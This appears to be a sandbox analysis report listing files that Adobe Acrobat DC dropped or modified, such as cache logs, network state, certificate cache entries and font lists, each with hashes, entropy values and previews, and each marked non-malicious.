SHA1:	22BFE626DCA7F52FCD08F5147E717AE3A1CF31A8
SHA-256:	B2501EF1CAE5D4280432C617CA1F21B6AAF2382FCD1B1909CD2262539C9C1DA1
SHA-512:	25ABAA70EDE0BD272AFA0EB2619677BA68B34C8497AA7263B865ADC65277B5A0A382257A7627AAD2CACA980E78933738C6BAA07D5A606FF4369CA309EDBCB954
Malicious:	false
Preview:	.A/.....................................;...{...8...}.......{...............{.......{....:......{......................8...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.192620953779968
Encrypted:	false
SSDEEP:	6:iO4VhZAVq2PFi2nKuAl9OmbnIFUtSVFvAgZmwsVFvAIkwOFi2nKuAl9OmbjLJ:7NvdZHAahFUtc/i5wZHAaSJ
MD5:	A9D6A247F7886AAEFEFD7AC66B0AB861
SHA1:	4917F314C55FF2B96C05264334BDD8B672B417AF
SHA-256:	8A94CEB35B04E12B0CDC60ADDF4102970522361E72172CB4BFE99B4129815112
SHA-512:	6C937B3D460A5F67C225A6F2DF08650E62914DF82F42F3D844FE6C614C37D0F669ECE3878A3713D862003EC9C4DFCA750D0CCB000608B994C50B69D4F216AA43
Malicious:	false
Preview:	2025/01/10-19:56:24.610 1d40 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:56:24.612 1d40 Recovering log #3.2025/01/10-19:56:24.612 1d40 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.192620953779968
Encrypted:	false
SSDEEP:	6:iO4VhZAVq2PFi2nKuAl9OmbnIFUtSVFvAgZmwsVFvAIkwOFi2nKuAl9OmbjLJ:7NvdZHAahFUtc/i5wZHAaSJ
MD5:	A9D6A247F7886AAEFEFD7AC66B0AB861
SHA1:	4917F314C55FF2B96C05264334BDD8B672B417AF
SHA-256:	8A94CEB35B04E12B0CDC60ADDF4102970522361E72172CB4BFE99B4129815112
SHA-512:	6C937B3D460A5F67C225A6F2DF08650E62914DF82F42F3D844FE6C614C37D0F669ECE3878A3713D862003EC9C4DFCA750D0CCB000608B994C50B69D4F216AA43
Malicious:	false
Preview:	2025/01/10-19:56:24.610 1d40 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:56:24.612 1d40 Recovering log #3.2025/01/10-19:56:24.612 1d40 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.236772214274115
Encrypted:	false
SSDEEP:	6:iO4V+S4q2PFi2nKuAl9Ombzo2jMGIFUtSV8uNJZmwsVinNDkwOFi2nKuAl9Ombzz:7hxvdZHAa8uFUtoX//5wZHAa8RJ
MD5:	76AF09323B33DAB83641907D27D9F703
SHA1:	0655B2D0485F231DFCFF9081C9FBCFB139969E9C
SHA-256:	DAA53D2C728161E0B1ED6DD9F0148C457F14EEDC6DBB8D9AD3F50802261C6A21
SHA-512:	103A4F403A4FC667A807F56099C0C357A98A95BD4B4D920A44E66AD8BFE100BDF7B0B9183E86C0F5894F575C823C3A7437E1DB611ACCCBE5F3C6DB4532DE3926
Malicious:	false
Preview:	2025/01/10-19:56:24.661 1f84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:56:24.663 1f84 Recovering log #3.2025/01/10-19:56:24.664 1f84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.236772214274115
Encrypted:	false
SSDEEP:	6:iO4V+S4q2PFi2nKuAl9Ombzo2jMGIFUtSV8uNJZmwsVinNDkwOFi2nKuAl9Ombzz:7hxvdZHAa8uFUtoX//5wZHAa8RJ
MD5:	76AF09323B33DAB83641907D27D9F703
SHA1:	0655B2D0485F231DFCFF9081C9FBCFB139969E9C
SHA-256:	DAA53D2C728161E0B1ED6DD9F0148C457F14EEDC6DBB8D9AD3F50802261C6A21
SHA-512:	103A4F403A4FC667A807F56099C0C357A98A95BD4B4D920A44E66AD8BFE100BDF7B0B9183E86C0F5894F575C823C3A7437E1DB611ACCCBE5F3C6DB4532DE3926
Malicious:	false
Preview:	2025/01/10-19:56:24.661 1f84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:56:24.663 1f84 Recovering log #3.2025/01/10-19:56:24.664 1f84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2a43c8ca-abac-47e3-9544-14fd5de0d632.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.966809546948284
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPg0GsBdOg2HYcaq3QYiubpP7E4T3y:Y2sRdsCZdMHT3QYhbd7nby
MD5:	889A92A5855F3C0233CD8A4FA408D7A9
SHA1:	253BF34F3C9F5AA042E26CF9429F2111F661AE29
SHA-256:	3EE7E2C6C08A5A1A4A731A0839835DA079D3A64E3B72F7F6A5293390DA34781A
SHA-512:	2E0FB1A3855A3742F16A60DA55B80E16B9B3D9F968F1C3DCE874CCFE6D80F5D23AA55089DB4B9A50750AA7B5025E9B36E0DED9FEDB8FB922746986FC33780C7D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381116997245022","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":141822},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.966809546948284
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPg0GsBdOg2HYcaq3QYiubpP7E4T3y:Y2sRdsCZdMHT3QYhbd7nby
MD5:	889A92A5855F3C0233CD8A4FA408D7A9
SHA1:	253BF34F3C9F5AA042E26CF9429F2111F661AE29
SHA-256:	3EE7E2C6C08A5A1A4A731A0839835DA079D3A64E3B72F7F6A5293390DA34781A
SHA-512:	2E0FB1A3855A3742F16A60DA55B80E16B9B3D9F968F1C3DCE874CCFE6D80F5D23AA55089DB4B9A50750AA7B5025E9B36E0DED9FEDB8FB922746986FC33780C7D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381116997245022","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":141822},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.231706599395112
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVcFlP2J:wshFT0h7cZb2EVKZPEANcGIK5EVglw
MD5:	83EA7FBBE50A6815B1A997A1A405BE77
SHA1:	853A6E4E31A5996FB5E646F8086B46ACDAD99C7C
SHA-256:	06FB979EA8BBF8BA0C51C5FFADC886568C4988F05EB6992650D36906FB3DA4FD
SHA-512:	F3EC9BA4F048B15B6BAD7270459EBBE5E7014A457E1900404AB5C14D974B7EDBB8D456EF92FB15C9E1EAC1FF4B20A04B795CBFD80EFD580F7405EFA858C3A807
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.25289526811642
Encrypted:	false
SSDEEP:	6:iO4V+wN4q2PFi2nKuAl9OmbzNMxIFUtSV+DJZmwsV+wNDkwOFi2nKuAl9OmbzNMT:7aOvdZHAa8jFUtd/+5wZHAa84J
MD5:	D7671E5325252197F6D293B2464626FF
SHA1:	4DC9E77369281D79F0E52C7D7D9188CE899FFFA0
SHA-256:	283AA01C9D7D14176B314EFCA7DB46B5F2A048EEB155A2FC3AF04FF513F75FD0
SHA-512:	E47E7A3DECD2628CBE65C0004CB2B54F6A96ADC9548FA94099F4348EDCA9027C75A18D6BDFB89141CEA296502D4C04A828D1A61D30FEAF49871420F6C83B983B
Malicious:	false
Preview:	2025/01/10-19:56:24.906 1f84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:56:24.907 1f84 Recovering log #3.2025/01/10-19:56:24.908 1f84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.25289526811642
Encrypted:	false
SSDEEP:	6:iO4V+wN4q2PFi2nKuAl9OmbzNMxIFUtSV+DJZmwsV+wNDkwOFi2nKuAl9OmbzNMT:7aOvdZHAa8jFUtd/+5wZHAa84J
MD5:	D7671E5325252197F6D293B2464626FF
SHA1:	4DC9E77369281D79F0E52C7D7D9188CE899FFFA0
SHA-256:	283AA01C9D7D14176B314EFCA7DB46B5F2A048EEB155A2FC3AF04FF513F75FD0
SHA-512:	E47E7A3DECD2628CBE65C0004CB2B54F6A96ADC9548FA94099F4348EDCA9027C75A18D6BDFB89141CEA296502D4C04A828D1A61D30FEAF49871420F6C83B983B
Malicious:	false
Preview:	2025/01/10-19:56:24.906 1f84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:56:24.907 1f84 Recovering log #3.2025/01/10-19:56:24.908 1f84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438955609127282
Encrypted:	false
SSDEEP:	384:Sex7ci5G4iBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:NwUurVgazUpUTTGt
MD5:	7FD7E871639679D59F1D07CA4C3E3067
SHA1:	8F99B738FA831D705F1690D8A5F3711C06F02F39
SHA-256:	E9C35FC1B77646C9652DB4E14E0CEADC182F93232F32D28A1019A3AF67DE2CD7
SHA-512:	F1706DC49738C92DDDDC2D135720C2034751D6779FEE9B1FDA4C8759024F4B16D35308012276BB5E83FA584AA237A93F0F900B66F57C2A544E18F220D4000BB9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2162525296821385
Encrypted:	false
SSDEEP:	24:7+thaB6wKfpqLrzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9D:7Mh0WxqvmFTIF3XmHjBoGGR+jMz+LhF
MD5:	033A09821DBFA3A6BC7200A5E5E22364
SHA1:	3BFEAACE1DD357D7BD2975C93459064729215040
SHA-256:	7F32E3E5C739461A68F64A47C1A14E167BDCAAB0CD55C90A2334F03195DF0EB7
SHA-512:	227D3E25D7B08D241FA60B6FED88FCD4D6770884B8BA397A9ED81CF5D037136C214158EFCDADF3E95EDE0404A32CDEC7E5F1F0ACC9E26F188A511C984C7143C8
Malicious:	false
Preview:	.... .c.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklW9lltfllXlE/HT8kkAzvNNX8RolJuRdxLlGB9lQRYwpDdt:kKPFeT8ypNMa8RdWBwRd
MD5:	DF56956B65E657F1A3D8AE23426E7117
SHA1:	13B23254996BFFC8D5C6A9255BEC4BB9779D8029
SHA-256:	9491D0F52DCA30C072E2AE90920597475C15E2F67FEFEDB4CD7FB074657F3FC2
SHA-512:	AE0C68E55B007A5A1B2486F765B269304BBF15F48B2C9AC778A2ECB935EA088B26D08BA6BAB613D0E31A4BC1B099973BFB469158740BAA20E0E91FA0BC783876
Malicious:	false
Preview:	p...... .........u..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1391791584200512
Encrypted:	false
SSDEEP:	6:kKb14EtL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:T14EtiDnLNkPlE99SNxAhUe/3
MD5:	6C1E276F6C9B0C501EDCE8570D97BDD1
SHA1:	771DA0D41B1058ED7BC38F1C17AA944A31683ACC
SHA-256:	5AC6486DAC38F2FF05A753AEF663BB6F5C3645F7E28483FCE1228DA6C346C724
SHA-512:	30EBAE3485144779E2B00774048F34FA07AF8FA328217705A4F956850AD5C09876F1322B35E2AB0C22920D9068781C4F804D8ECA856E6352E92CED5619D454BF
Malicious:	false
Preview:	p...... ........S.;..c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6168

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
